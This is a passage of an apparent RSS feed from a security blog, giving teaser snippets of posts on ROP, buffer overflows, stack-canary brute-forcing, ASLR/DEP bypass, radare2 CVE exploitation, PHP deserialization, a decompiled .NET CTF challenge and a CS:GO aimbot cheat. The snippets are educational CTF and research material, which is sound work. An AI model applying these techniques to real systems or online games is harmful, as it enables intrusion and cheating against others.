      <description>&lt;p&gt;Exploit development on ARM with &lt;code&gt;radare2&lt;/code&gt; seems like a great idea until you start searching for resources, searching for a nice and automated debugging setup. Here&amp;rsquo;s what I&amp;rsquo;ve found:&lt;/p&gt;&#xA;&lt;p&gt;&lt;marquee&gt;nothing&lt;/marquee&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cool. That&amp;rsquo;s the reason why this post covers the setup I came up with, as well as basics for ROP on the ARM architecture. The exploit target is &lt;code&gt;stack6&lt;/code&gt; from &lt;a href=&#34;https://azeria-labs.com/part-3-stack-overflow-challenges/&#34;&gt;Azeria Labs&lt;/a&gt; and &lt;code&gt;radare2&lt;/code&gt; will be used as a debugger. If you&amp;rsquo;re a beginner I suggest reading the ARM assembly basics &lt;a href=&#34;https://azeria-labs.com/writing-arm-assembly-part-1/&#34;&gt;on the same site&lt;/a&gt; first before starting the challenges from the beginning with &lt;code&gt;stack0&lt;/code&gt;. The exploitation techniques covered in this post are ROP, ret2plt and ret2libc.&lt;/p&gt;</description>
    </item>
    <item>
      <title>In-Process Fuzzing With Frida</title>
      <link>https://bananamafia.dev/post/frida-fuzz/</link>
      <pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/frida-fuzz/</guid>
      <description>&lt;p&gt;In a &lt;a href=&#34;https://bananamafia.dev/post/r2frida-1/&#34;&gt;previous post&lt;/a&gt; I&amp;rsquo;ve already covered &lt;a href=&#34;https://www.frida.re/&#34;&gt;Frida&lt;/a&gt; and its instrumentation abilities. But check this out: You can also use Frida to perform fuzzing. What&amp;rsquo;s even greater is that Frida allows in-process fuzzing.&lt;/p&gt;&#xA;&lt;p&gt;Why would you want to do this? There may be various reasons, but the most outstanding one for me is building a fuzzing harness for closed source applications and libraries. Just take Counter Strike GO as an example:&lt;/p&gt;&#xA;&lt;p&gt;If you want to fuzz the map loading routines with maximum speed, you&amp;rsquo;d (ideally) want to create a minimized environment that only performs the map loading. Now the CS:GO client is a graphical application that performs all kinds of stuff when being launched and it&amp;rsquo;s not scriptable to an extent that allows efficient fuzzing. To avoid executing all this code that&amp;rsquo;s not even related to map loading, a fuzzing harness is required. A great example of such a harness for CS:GO can be found &lt;a href=&#34;https://phoenhex.re/2018-08-26/csgo-fuzzing-bsp&#34;&gt;here&lt;/a&gt; - the harness consists of a custom wrapper and some patches.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How I Over-Engineered My Dotfiles</title>
      <link>https://bananamafia.dev/post/dotfiles/</link>
      <pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/dotfiles/</guid>
      <description>&lt;p&gt;You want to customize your Linux dotfiles, whether you already know it&#xA;or not. After investing way too much time into this, I&amp;rsquo;ve decided to share some&#xA;results and tricks in this blog post.&lt;/p&gt;&#xA;&lt;h1 id=&#34;general-structure&#34;&gt;General Structure&lt;/h1&gt;&#xA;&lt;p&gt;The first thing to do is to create a general structure for your dotfiles and&#xA;all associated files and scripts. I came up with this structure:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;dotfiles&#xA;├── aliases&#xA;├── bashrc&#xA;├── bindings: Additional key bindings&#xA;├── exports: Shell-wide exports&#xA;├── i3: Config and bar for i3 window manager&#xA;│   ├── config&#xA;│   ├── polybar&#xA;│   └── scripts&#xA;├── Makefile: Generate readme and call shellcheck on push&#xA;[...]&#xA;├── nanorc&#xA;├── README.md&#xA;├── secrets-*&#xA;│   ├── stuff&#xA;├── termite: Terminal emulator config&#xA;├── tmux.conf&#xA;├── vimrc&#xA;└── zshrc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This whole structure can then be managed in a &lt;code&gt;git&lt;/code&gt; repository. Using a dotfile manager like &lt;a href=&#34;https://github.com/TheLocehiliosan/yadm&#34;&gt;yadm&lt;/a&gt; makes it easy to deploy the dotfiles on a system. My own approach involves using &lt;em&gt;Ansible&lt;/em&gt; as you will see at the end of this post. Using this, it becomes possible to&#xA;deploy the same &lt;em&gt;public&lt;/em&gt; dotfiles repository on various systems while maintaining a separate &lt;em&gt;private&lt;/em&gt; repository for system-specific configuration values. These &amp;ldquo;secret&amp;rdquo; values can be absolute file system paths that you don&amp;rsquo;t want to expose on GitHub or in&#xA;a public repository at all. All of these values are stored in the &lt;code&gt;secrets-*&lt;/code&gt; folders. Of course you shouldn&amp;rsquo;t just go and store your keys in&#xA;there, there are better ways to do this &amp;ndash; for example using &lt;em&gt;Ansible&lt;/em&gt; Vault.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How Not To Suck At r2wars</title>
      <link>https://bananamafia.dev/post/r2wars-2019/</link>
      <pubDate>Tue, 01 Oct 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/r2wars-2019/</guid>
      <description>&lt;p&gt;As every year at &lt;a href=&#34;https://rada.re/con/2019/&#34;&gt;r2con&lt;/a&gt;, the r2wars competition was hosted by &lt;a href=&#34;https://twitter.com/sanguinawer&#34;&gt;sanguinawer&lt;/a&gt; and the &lt;code&gt;r2&lt;/code&gt; overlord &lt;a href=&#34;https://twitter.com/trufae&#34;&gt;pancake&lt;/a&gt;. I&amp;rsquo;ve made it to the second place in this year&amp;rsquo;s battles, so I&amp;rsquo;ve promised to create a writeup for my participation &amp;ndash; and here it is. Welcome to the nerdiest game in town.&lt;/p&gt;&#xA;&lt;h1 id=&#34;lol-whats-r2wars-again&#34;&gt;Lol What&amp;rsquo;s r2wars Again?&lt;/h1&gt;&#xA;&lt;p&gt;The r2wars competition is based on &lt;code&gt;radare2&lt;/code&gt;&amp;rsquo;s &lt;a href=&#34;https://radare.gitbooks.io/radare2book/disassembling/esil.html&#34;&gt;ESIL&lt;/a&gt; (Evaluable Strings Intermediate Language) engine. It&amp;rsquo;s normally used to emulate instructions of various architectures during reverse engineering. It&amp;rsquo;s definitely a useful feature of &lt;code&gt;radare2&lt;/code&gt; and you can find more information &lt;a href=&#34;https://radare.gitbooks.io/radare2book/disassembling/esil.html&#34;&gt;here&lt;/a&gt; if you want to get started using it.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Dynamic Instrumentation: Frida And r2frida For Noobs</title>
      <link>https://bananamafia.dev/post/r2frida-1/</link>
      <pubDate>Fri, 13 Sep 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/r2frida-1/</guid>
      <description>&lt;p&gt;One of my main takeaways from this year&amp;rsquo;s r2con is that &lt;a href=&#34;https://www.frida.re&#34;&gt;Frida&lt;/a&gt; is cool and that &lt;a href=&#34;https://github.com/nowsecure/r2frida&#34;&gt;r2frida&lt;/a&gt;, the integration with &lt;code&gt;radare2&lt;/code&gt;, is even cooler. Using this, it&amp;rsquo;s possible to pair the benefits of dynamic instrumentation of Frida with the analysis features and workflow of &lt;code&gt;radare2&lt;/code&gt;. This is a small tutorial to get started with both Frida and &lt;code&gt;r2frida&lt;/code&gt; that&amp;rsquo;s based on the &lt;a href=&#34;https://bananamafia.dev/misc/r2frida-1/re.rada.con.ctf.r2xor.zip&#34;&gt;r2xor&lt;/a&gt; challenge of the recent r2con CTF. Please note that this is &lt;em&gt;not&lt;/em&gt; a complete writeup for &lt;code&gt;r2xor&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>r2con 2019 CTF Writeups</title>
      <link>https://bananamafia.dev/post/r2ctf-2019/</link>
      <pubDate>Mon, 02 Sep 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/r2ctf-2019/</guid>
      <description>&lt;h1 id=&#34;r2boy1&#34;&gt;r2boy1&lt;/h1&gt;&#xA;&lt;p&gt;The first GameBoy challenge was rather easy. The idea was to talk to the Pancake character in-game in order to get the flag. The problem is that Pancake chills behind a wall. One possible solution was to glitch through the wall, however I&amp;rsquo;ve solved this using static analysis.&lt;/p&gt;&#xA;&lt;p&gt;Going through the strings and searching for a possible dialog yields interesting strings:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[0x00054075]&amp;gt; izzq~pancake&#xA;0x54016 37 36 Find pancake\nthrough a game\nglitch!&#xA;0x5403c 30 29 I am pancake, the\nr2 prophet.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Inspecting this region  directly yields the flag in plain text:&lt;/p&gt;</description>
    </item>
    <item>
      <title>ROP On x64: What&#39;s ret2csu Again?</title>
      <link>https://bananamafia.dev/post/x64-rop-redpwn/</link>
      <pubDate>Thu, 29 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/x64-rop-redpwn/</guid>
      <description>&lt;p&gt;Based on the &lt;em&gt;Stop, ROP, n&amp;rsquo;, Roll&lt;/em&gt; challenge from this year&amp;rsquo;s Redpwn CTF, this post will explain how to make system calls on x64 using ROP in order to spawn a shell. Also, it shows how to abuse writable memory regions of a process to overcome difficulties with some ROP gadgets. And the best thing is, two of the gadgets used in this writeup are universal and most likely also present in your x64 target if it&amp;rsquo;s using &lt;em&gt;glibc&lt;/em&gt;. Of course, everything will be done with &lt;code&gt;radare2&lt;/code&gt; and &lt;code&gt;pwntools&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Reversing .NET Applications: CCCamp19 CTF CampRE Challenge</title>
      <link>https://bananamafia.dev/post/dotnet-re-cccamp19/</link>
      <pubDate>Sun, 25 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/dotnet-re-cccamp19/</guid>
      <description>&lt;p&gt;Finally a nice .NET CTF challenge - time to pull out &lt;a href=&#34;https://github.com/0xd4d/dnSpy&#34;&gt;dnSpy&lt;/a&gt; :)&lt;/p&gt;&#xA;&lt;p&gt;The provided ZIP includes a &lt;code&gt;CampRE.dll&lt;/code&gt; file which, according to the challenge description, is a .NET Core application. Time to boot a Windows VM and install the .NET Core runtime environment.&lt;/p&gt;&#xA;&lt;p&gt;After decompiling the &lt;code&gt;dll&lt;/code&gt;, this source code can be inspected:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; Main(&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;[] args)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] sourceArray = File.ReadAllBytes(Assembly.GetAssembly(&lt;span style=&#34;color:#66d9ef&#34;&gt;typeof&lt;/span&gt;(Program)).Location);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i = &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1333337&lt;/span&gt;; i++)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        MD5 md = MD5.Create();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] bytes = Encoding.ASCII.GetBytes(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;i=&amp;#34;&lt;/span&gt; + i.ToString());&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] array = md.ComputeHash(bytes);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        MD5 md2 = MD5.Create();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] bytes2 = Encoding.ASCII.GetBytes(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;i1337=&amp;#34;&lt;/span&gt; + i.ToString());&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] sourceArray2 = md2.ComputeHash(bytes2);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] destinationArray = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Array.Copy(array, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, destinationArray, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Array.Copy(sourceArray2, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, destinationArray, &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] array2 = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        MD5 md3 = MD5.Create();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] array3 = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;];&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Array.Copy(sourceArray, &lt;span style=&#34;color:#ae81ff&#34;&gt;4432&lt;/span&gt;, array3, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] sourceArray3 = md3.ComputeHash(array3);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Array.Copy(sourceArray3, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, array2, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;try&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#66d9ef&#34;&gt;global&lt;/span&gt;::Aes aes = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;global&lt;/span&gt;::Aes(array, array2);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#66d9ef&#34;&gt;byte&lt;/span&gt;[] rawAssembly = aes.DecryptFromBase64StringAsByte(Program.toDecrypt);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            entryPoint.Invoke(&lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;object&lt;/span&gt;[]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;[] { &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;NOT_A_BADBOY&amp;#34;&lt;/span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;catch&lt;/span&gt; (Exception ex) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It seems that the application brute-forces the AES key for an embedded Base64 string in memory and tries to execute it as a binary afterwards. The first thing I did was modifying the &lt;code&gt;dll&lt;/code&gt; with &lt;code&gt;dnSpy&lt;/code&gt; in order to dump the decrypted binary to a local file:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Exploiting PHP Deserialization: CCCamp19 CTF PDFCreator Challenge</title>
      <link>https://bananamafia.dev/post/php-deserialize-cccamp19/</link>
      <pubDate>Sat, 24 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/php-deserialize-cccamp19/</guid>
      <description>&lt;p&gt;Deserialization is a vulnerability class that&amp;rsquo;s often overlooked. It&amp;rsquo;s great that this year&amp;rsquo;s &lt;a href=&#34;https://ctftime.org/event/854&#34;&gt;CCCamp CTF&lt;/a&gt; included an interesting web based challenge that is based on this vulnerability class.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-target&#34;&gt;The Target&lt;/h1&gt;&#xA;&lt;p&gt;The challenge includes a link to a web service that allows converting user-supplied images into PDF files. Users can upload image files, add some additional HTML content in a textbox and render the whole thing into a PDF file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://bananamafia.dev/img/php-deserialize-cccamp19/cccamp19-pdfcreator.jpg&#34; alt=&#34;Hello!&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;A ZIP file with the source code of the web application is also available.&lt;/p&gt;</description>
    </item>
    <item>
      <title>ROP It Like It&#39;s Hot: ROP Basics - Stack Pivoting</title>
      <link>https://bananamafia.dev/post/binary-rop-stackpivot/</link>
      <pubDate>Tue, 13 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/binary-rop-stackpivot/</guid>
      <description>&lt;p&gt;Let&amp;rsquo;s check out Return Oriented Programming (ROP) with the &lt;code&gt;pivot32&lt;/code&gt; challenge from &lt;a href=&#34;https://ropemporium.com/challenge/pivot.html&#34;&gt;ROP Emporium&lt;/a&gt; by using &lt;code&gt;radare2&lt;/code&gt;. The &lt;code&gt;pivot32&lt;/code&gt; binary is compiled without stack canaries and PIE but has NX enabled.&lt;/p&gt;&#xA;&lt;h1 id=&#34;basics&#34;&gt;Basics&lt;/h1&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://en.wikipedia.org/wiki/Return-oriented_programming&#34;&gt;general principle behind ROP&lt;/a&gt; is that:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;[&amp;hellip;] an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine&amp;rsquo;s memory, called &amp;ldquo;gadgets&amp;rdquo;.[2] Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.&lt;/em&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>CryptoCTF 2019 Writeup: Decode Me</title>
      <link>https://bananamafia.dev/post/cryptoctf-1-decodeme/</link>
      <pubDate>Sun, 11 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/cryptoctf-1-decodeme/</guid>
      <description>&lt;p&gt;This is short writeup on the &lt;em&gt;Decode Me&lt;/em&gt; challenge of the first CryptoCTF.&lt;/p&gt;&#xA;&lt;p&gt;The following string has to be decoded into a flag somehow:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;D: mb xwhvxw mlnX 4X6AhPLAR4eupSRJ6FLt8AgE6JsLdBRxq57L8IeMyBRHp6IGsmgFIB5E :ztey xam lb lbaH&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first thing that comes to mind is that some sort of substitution cipher was being used in the first place. A cipher of this kind is the &lt;a href=&#34;https://en.wikipedia.org/wiki/Caesar_cipher&#34;&gt;Caesar cipher&lt;/a&gt; which is also known as ROT. &lt;a href=&#34;https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,7)&amp;amp;input=RDogbWIgeHdodnh3IG1sblggNFg2QWhQTEFSNGV1cFNSSjZGTHQ4QWdFNkpzTGRCUnhxNTdMOEllTXlCUkhwNklHc21nRklCNUUgOnp0ZXkgeGFtIGxiIGxiYUg&#34;&gt;Fiddling around&lt;/a&gt; with this cipher and a key of &lt;code&gt;7&lt;/code&gt; yields:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Brute-Forcing x86 Stack Canaries</title>
      <link>https://bananamafia.dev/post/binary-canary-bruteforce/</link>
      <pubDate>Thu, 08 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/binary-canary-bruteforce/</guid>
      <description>&lt;p&gt;And now for something more CTF-y: Dealing with stack canaries by brute-forcing their value byte by byte.&lt;/p&gt;&#xA;&lt;h1 id=&#34;how-stack-canaries-work&#34;&gt;How Stack Canaries Work&lt;/h1&gt;&#xA;&lt;p&gt;If you&amp;rsquo;ve ever read the error message &lt;code&gt;*** stack smashing detected ***: &amp;lt;...&amp;gt; terminated&lt;/code&gt;, you&amp;rsquo;ve already encountered stack canaries in action. They are being used to detect and stop buffer overflows by placing a per-process randomized value between the local variables and the saved return address. If an attacker somehow manages to write across the boundary of a buffer in order to overwrite the saved return address, he will also overwrite the canary. The program will check whether the canary is still intact prior to returning from a function and aborts in case it has been altered. This causes the vulnerable application to never actually load the overwritten return address into the instruction pointer because it terminates instead. The following animation shows a successful canary check and a failed one - keep an eye on the &lt;code&gt;EAX&lt;/code&gt; register which holds the result of the canary check. If it&amp;rsquo;s all zeroes, the check has succeeded. In every other case the application will &lt;em&gt;not&lt;/em&gt; skip the &lt;code&gt;call sym.__stack_chk_fail_local&lt;/code&gt; instruction after the check, which causes the application to terminate:&lt;/p&gt;</description>
    </item>
    <item>
      <title>r2con 2019 PwnDebian Challenge: Exploiting radare2 (CVE-2019-14745, CVE-2019-16718)</title>
      <link>https://bananamafia.dev/post/r2-pwndebian/</link>
      <pubDate>Tue, 30 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/r2-pwndebian/</guid>
      <description>&lt;p&gt;Hello hello!&lt;/p&gt;&#xA;&lt;p&gt;Everyone knows: This years r2con, the conference about &lt;code&gt;radare2&lt;/code&gt;, has a very special challenge &amp;ndash; PwnDebian:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://bananamafia.dev/img/r2-pwndebian/pwndebian.jpg&#34; alt=&#34;PwnDebian&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The almighty &lt;a href=&#34;https://github.com/blenk92&#34;&gt;blenk92&lt;/a&gt; and me decided to assist the &lt;code&gt;radare2&lt;/code&gt; project in finding such an exploit an we think we were quite successful :)&lt;/p&gt;&#xA;&lt;p&gt;But first some basics for &lt;code&gt;r2&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;shelling-out-via-the-r2-shell&#34;&gt;Shelling Out Via The r2 Shell&lt;/h1&gt;&#xA;&lt;p&gt;While running &lt;code&gt;r2&lt;/code&gt;, it&amp;rsquo;s possible to shell out and execute shell commands without leaving the &lt;code&gt;r2&lt;/code&gt; console:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Buffer Overflows on x64 with radare2</title>
      <link>https://bananamafia.dev/post/x64-bof/</link>
      <pubDate>Sat, 13 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/x64-bof/</guid>
      <description>&lt;p&gt;The approach to exploit buffer overflows on x64 is a bit different that on x86. This post demonstrates this using the &lt;code&gt;split&lt;/code&gt; challenge of &lt;a href=&#34;https://ropemporium.com/&#34;&gt;ROP Emporium&lt;/a&gt; while making use of &lt;code&gt;radare2&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;rip--canonical-addresses&#34;&gt;RIP &amp;amp; Canonical Addresses&lt;/h1&gt;&#xA;&lt;p&gt;The first thing one notices when trying to gain control over the instruction pointer is that only values of a specific range are allowed to be loaded into the &lt;code&gt;RIP&lt;/code&gt; register. On x86 arbitrary values can be loaded into the instruction pointer register (&lt;code&gt;EIP&lt;/code&gt;) - on x64 only &lt;em&gt;canonical&lt;/em&gt; values are allowed. These are values of the following ranges:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Game Hacking #2: Coding A CS:GO Hack</title>
      <link>https://bananamafia.dev/post/bananabot/</link>
      <pubDate>Wed, 19 Jun 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/bananabot/</guid>
      <description>&lt;p&gt;This post covers creating a hack for the game Counter Strike: Global Offensive. The hack I&amp;rsquo;ve developed works in combination with the Linux version of the game - coding a windows-based hack can however be done with the same methodology and tools.&lt;/p&gt;&#xA;&lt;p&gt;These are the features I&amp;rsquo;ve integrated into the hack:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bunnyhop Bot: Do jumps as soon as the player hits the ground to make it easier to perform bunny hop chains&lt;/li&gt;&#xA;&lt;li&gt;No Flash: Be immune to flash grenades that would block the players vision&lt;/li&gt;&#xA;&lt;li&gt;Aimbot: Automatically aim at the head of the nearest enemy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;tooling--setup&#34;&gt;Tooling &amp;amp; Setup&lt;/h1&gt;&#xA;&lt;p&gt;Linux lacks of good tools to perform the kind of analysis tasks required to code a cheat like this. There are &lt;code&gt;pince&lt;/code&gt; and &lt;code&gt;scanmem&lt;/code&gt; available but they only provide a limited set of the required features. In the Windows world, there&amp;rsquo;s handy tool called &lt;a href=&#34;https://github.com/cheat-engine/cheat-engine&#34;&gt;Cheat Engine&lt;/a&gt; that is capable of all the required tasks, like:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Bypassing ASLR and DEP for 32-Bit Binaries With r2</title>
      <link>https://bananamafia.dev/post/binary-aslr-dep-32/</link>
      <pubDate>Wed, 01 May 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/binary-aslr-dep-32/</guid>
